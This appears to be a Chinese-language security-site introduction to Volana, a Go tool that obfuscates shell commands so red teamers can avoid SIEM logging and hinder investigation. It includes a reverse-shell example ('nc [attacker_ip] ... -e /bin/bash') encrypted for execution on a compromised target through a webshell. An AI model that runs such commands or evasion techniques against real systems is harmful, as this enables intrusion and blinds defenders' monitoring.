关于Volana
Volana是一款功能强大的Shell命令代码混淆工具,该工具基于Go语言开发,可以帮助广大研究人员实现对Shell命令或脚本代码的混淆处理。
在红队测试过程中,隐蔽性是非常重要的一个方面,许多基础设施会记录命令并实时将其发送到 SIEM,这使得事后清理部分本身毫无用处。Volana通过提供自己的 shell 运行时(输入你的命令,volana 会为你执行),提供一种在目标设备上执行的命令的隐蔽且简单的方法。
工具要求
Go环境
工具安装
由于该工具基于Go开发,因此我们首先需要在本地设备上安装并配置好最新版本的Go运行环境。
接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/ariary/volana.git
或者直接使用下列命令下载并安装最新的Volana发布版本:
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
执行下列命令即可运行Volana:
./volana volana » echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 volana » [command]
工具使用
volana 控制台命令:
ring:启用环形模式,即每个命令都与许多其他命令一起启动以掩盖踪迹(来自监控系统调用的解决方案)
exit:退出 volana 控制台
非交互式shell使用
假设您有一个非交互式 shell(例如webshell),您就可以使用encrypt或decrypt子命令了。不过在此之前,您需要配置并使用嵌入式加密密钥进行volana的代码构建。
在测试人员设备傻姑娘执行下列命令:
make build.volana-with-encryption volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash" >>> ENCRYPTED COMMAND
复制加密的命令,并在目标机器上使用 rce 执行它
./volana decr [encrypted_command]
注意事项
为什么不直接使用“echo [command] | base64”来隐藏命令,然后在目标设备上使用“echo [encoded_command] | base64 -d | bash”来解码呢?
因为我们希望受到保护,免受触发base64使用警报或在命令中寻找 base64 文本的系统的影响。我们还想让调查变得困难,而 base64 并不是真正的阻碍。
许可证协议
本项目的开发与发布遵循Unlicense开源许可协议。
项目地址
Volana:【GitHub传送门】
参考资料
https://github.com/annmuor/zn2021_8ways
https://github.com/mufeedvh/moonwalk